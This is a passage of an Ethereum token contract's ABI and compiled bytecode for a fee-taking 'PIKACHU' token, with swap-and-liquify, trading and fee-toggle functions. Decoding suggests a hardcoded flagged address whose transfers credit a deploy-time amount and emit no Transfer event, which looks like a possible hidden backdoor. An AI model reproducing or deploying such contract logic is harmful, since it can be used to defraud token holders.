ddress"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_work","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273627fd222e76c612b03f66909f92ee7edcd9e353f600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518061020001604052806101de8152602001620038b76101de91396005908162000086919062000897565b506040518060400160405280600781526020017f50494b414348550000000000000000000000000000000000000000000000000081525060069081620000cd919062000897565b506012600760006101000a81548160ff021916908360ff16021790555069d3c21bcecceda10000006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556002600c55600a54600d55600b54600e55600c54600f556001601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff0219169083151502179055503480156200019457600080fd5b5060405162003a9538038062003a958339818101604052810190620001ba9190620009b4565b620001da620001ce6200052860201b60201c565b6200053060201b60201c565b60085460016000620001f1620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050816010819055506040518060200160405280600115151515815250600060018110620002795762000278620009e6565b5b602002015180620002b557506040518060200160405280600015151515815250600060018110620002af57620002ae620009e6565b5b60200201515b60116000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600062000384620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004b7620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000518919062000a26565b60405180910390a3505062000a43565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200069f57607f821691505b602082108103620006b557620006b462000657565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200071f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006e0565b6200072b8683620006e0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000778620007726200076c8462000743565b6200074d565b62000743565b9050919050565b6000819050919050565b620007948362000757565b620007ac620007a3826200077f565b848454620006ed565b825550505050565b600090565b620007c3620007b4565b620007d081848462000789565b505050565b5b81811015620007f857620007ec600082620007b9565b600181019050620007d6565b5050565b601f82111562000847576200081181620006bb565b6200081c84620006d0565b810160208510156200082c578190505b620008446200083b85620006d0565b830182620007d5565b50505b505050565b600082821c905092915050565b60006200086c600019846008026200084c565b1980831691505092915050565b600062000887838362000859565b9150826002028217905092915050565b620008a2826200061d565b67ffffffffffffffff811115620008be57620008bd62000628565b5b620008ca825462000686565b620008d7828285620007fc565b600060209050601f8311600181146200090f5760008415620008fa578287015190505b62000906858262000879565b86555062000976565b601f1984166200091f86620006bb565b60005b82811015620009495784890151825560018201915060208501945060208101905062000922565b8683101562000969578489015162000965601f89168262000859565b8355505b6001600288020188555050505b505050505050565b600080fd5b6200098e8162000743565b81146200099a57600080fd5b50565b600081519050620009ae8162000983565b92915050565b600060208284031215620009cd57620009cc6200097e565b5b6000620009dd848285016200099d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b62000a208162000743565b82525050565b600060208201905062000a3d600083018462000a15565b92915050565b612e648062000a536000396000f3fe6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612226565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122e1565b610725565b60405161020b919061233c565b60405180910390f35b34801561022057600080fd5b50610229610743565b604051610236919061233c565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906123b6565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906123e0565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b7919061233c565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e291906123fb565b610799565b6040516102f4919061233c565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f919061246a565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906122e1565b610889565b60405161035c919061233c565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906123e0565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b29190612494565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd919061233c565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906124af565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906123e0565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906124dc565b610a10565b60405161046e91906123e0565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906124dc565b610a6d565b6040516104c2919061233c565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612535565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b6040516105169190612494565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612226565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906122e1565b610b6e565b60405161057e919061233c565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061258e565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906122e1565b610c60565b6040516105e4919061233c565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906125bb565b611051565b60405161063891906123e0565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906124dc565b6110d8565b005b34801561067657600080fd5b50610691600480360381019061068c919061258e565b61115b565b005b6060600580546106a29061262a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061262a565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326111b7565b84846111bf565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611353565b610867846107b26111b7565b61086285604051806060016040528060288152602001612de260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966111b7565b8461092d85600260006108a76111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b6111bf565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109836117f6565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906126a7565b60405180910390fd5b60006109de30610a10565b90506000606483836109f091906126f6565b6109fa9190612767565b9050610a0581611874565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a616117f6565b610a6b60006118e8565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a956117f6565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb9061262a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b179061262a565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6111b7565b84610c2c85604051806060016040528060258152602001612e0a6025913960026000610ba56111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b6001905092915050565b610c436117f6565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6111b7565b8484611353565b6001905092915050565b610c866117f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906127ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906127ad565b6040518363ffffffff1660e01b8152600401610db69291906127da565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906127ad565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061283e565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906128b4565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100a929190612907565b6020604051808303816000875af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612945565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e06117f6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361114f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611146906129e4565b60405180910390fd5b611158816118e8565b50565b6111636117f6565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111ac919061233c565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112295750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90612a50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134691906123e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113bd5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612abc565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612b4e565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114805750601360149054906101000a900460ff16155b80156114da5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114f25750601360159054906101000a900460ff165b15611535576000600960006101000a81548160ff021916908360ff160217905550600061151e30610a10565b905060008111156115335761153281611874565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115dc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116a75750601360169054906101000a900460ff16801561164c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116b55760009050611779565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361171857600b54600a81905550611778565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177757600c54600a819055505b5b5b611785848484846119ac565b50505050565b60008383111582906117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca9190612226565b60405180910390fd5b5082840390509392505050565b600081836117ee9190612b6e565b905092915050565b6117fe6111b7565b73ffffffffffffffffffffffffffffffffffffffff1661181c610ab3565b73ffffffffffffffffffffffffffffffffffffffff1614611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612bee565b60405180910390fd5b565b6001601360146101000a81548160ff02191690831515021790555061189881611a16565b60004790506118c9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c59565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806119be576119b9611ca4565b6119f7565b6009600081819054906101000a900460ff16809291906119dd90612c0e565b91906101000a81548160ff021916908360ff160217905550505b611a02848484611d00565b80611a1057611a0f61211e565b5b50505050565b6000600267ffffffffffffffff811115611a3357611a32612c37565b5b604051908082528060200260200182016040528015611a615781602001602082028036833780820191505090505b5090503081600081518110611a7957611a78612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4491906127ad565b81600181518110611b5857611b57612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c23959493929190612d53565b600060405180830381600087803b158015611c3d57600080fd5b505af1158015611c51573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9f573d6000803e3d6000fd5b505050565b6000600a54148015611cb857506000600b54145b8015611cc657506000600c54145b611cfe57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5a576000611d5e565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee157611e0482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9981600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612118565b600080611eed84612151565b91509150611f4384600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd882600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161210d91906123e0565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836121499190612dad565b905092915050565b60008060006064600a548561216691906126f6565b6121709190612767565b90506000612187828661213b90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006121f882612196565b61220281856121a1565b93506122128185602086016121b2565b61221b816121dc565b840191505092915050565b6000602082019050818103600083015261224081846121ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122788261224d565b9050919050565b6122888161226d565b811461229357600080fd5b50565b6000813590506122a58161227f565b92915050565b6000819050919050565b6122be816122ab565b81146122c957600080fd5b50565b6000813590506122db816122b5565b92915050565b600080604083850312156122f8576122f7612248565b5b600061230685828601612296565b9250506020612317858286016122cc565b9150509250929050565b60008115159050919050565b61233681612321565b82525050565b6000602082019050612351600083018461232d565b92915050565b6000819050919050565b600061237c6123776123728461224d565b612357565b61224d565b9050919050565b600061238e82612361565b9050919050565b60006123a082612383565b9050919050565b6123b081612395565b82525050565b60006020820190506123cb60008301846123a7565b92915050565b6123da816122ab565b82525050565b60006020820190506123f560008301846123d1565b92915050565b60008060006060848603121561241457612413612248565b5b600061242286828701612296565b935050602061243386828701612296565b9250506040612444868287016122cc565b9150509250925092565b600060ff82169050919050565b6124648161244e565b82525050565b600060208201905061247f600083018461245b565b92915050565b61248e8161226d565b82525050565b60006020820190506124a96000830184612485565b92915050565b6000602082840312156124c5576124c4612248565b5b60006124d3848285016122cc565b91505092915050565b6000602082840312156124f2576124f1612248565b5b600061250084828501612296565b91505092915050565b6125128161244e565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b60006020828403121561254b5761254a612248565b5b600061255984828501612520565b91505092915050565b61256b81612321565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b6000602082840312156125a4576125a3612248565b5b60006125b284828501612579565b91505092915050565b600080604083850312156125d2576125d1612248565b5b60006125e085828601612296565b92505060206125f185828601612296565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061264257607f821691505b602082108103612655576126546125fb565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006126916020836121a1565b915061269c8261265b565b602082019050919050565b600060208201905081810360008301526126c081612684565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612701826122ab565b915061270c836122ab565b925082820261271a816122ab565b91508282048414831517612731576127306126c7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612772826122ab565b915061277d836122ab565b92508261278d5761278c612738565b5b828204905092915050565b6000815190506127a78161227f565b92915050565b6000602082840312156127c3576127c2612248565b5b60006127d184828501612798565b91505092915050565b60006040820190506127ef6000830185612485565b6127fc6020830184612485565b9392505050565b6000819050919050565b600061282861282361281e84612803565b612357565b6122ab565b9050919050565b6128388161280d565b82525050565b600060c0820190506128536000830189612485565b61286060208301886123d1565b61286d604083018761282f565b61287a606083018661282f565b6128876080830185612485565b61289460a08301846123d1565b979650505050505050565b6000815190506128ae816122b5565b92915050565b6000806000606084860312156128cd576128cc612248565b5b60006128db8682870161289f565b93505060206128ec8682870161289f565b92505060406128fd8682870161289f565b9150509250925092565b600060408201905061291c6000830185612485565b61292960208301846123d1565b9392505050565b60008151905061293f81612562565b92915050565b60006020828403121561295b5761295a612248565b5b600061296984828501612930565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ce6026836121a1565b91506129d982612972565b604082019050919050565b600060208201905081810360008301526129fd816129c1565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612a3a6011836121a1565b9150612a4582612a04565b602082019050919050565b60006020820190508181036000830152612a6981612a2d565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612aa66015836121a1565b9150612ab182612a70565b602082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612b386025836121a1565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b6000612b79826122ab565b9150612b84836122ab565b9250828201905080821115612b9c57612b9b6126c7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd86020836121a1565b9150612be382612ba2565b602082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c198261244e565b915060ff8203612c2c57612c2b6126c7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cca8161226d565b82525050565b6000612cdc8383612cc1565b60208301905092915050565b6000602082019050919050565b6000612d0082612c95565b612d0a8185612ca0565b9350612d1583612cb1565b8060005b83811015612d46578151612d2d8882612cd0565b9750612d3883612ce8565b925050600181019050612d19565b5085935050505092915050565b600060a082019050612d6860008301886123d1565b612d75602083018761282f565b8181036040830152612d878186612cf5565b9050612d966060830185612485565b612da360808301846123d1565b9695505050505050565b6000612db8826122ab565b9150612dc3836122ab565b9250828203905081811115612ddb57612dda6126c7565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ba7f05d0b9575c43e2ab623fd4d940f9c52eae9116d6a920012ac562d40845c64736f6c63430008130033f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8e2ac9be2ac9cf09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8e2ac9be2ac9cf09f9fa80af09f9fa8e2ac9be2ac9bf09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8e2ac9be2ac9bf09f9fa80af09f9fa8e2ac9be2ac9bf09f9fa8f09f9fa8e2ac9bf09f9fa8f09f9fa8e2ac9be2ac9bf09f9fa80af09f9fa5f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa50af09f9fa5f09f9fa5f09f9fa8f09f9fa8f09f9fa8e2ac9bf09f9fa8f09f9fa8f09f9fa8f09f9fa5f09f9fa50af09f9fa5f09f9fa5f09f9fa8f09f9fa8e2ac9bf09f9fa8e2ac9bf09f9fa8f09f9fa8f09f9f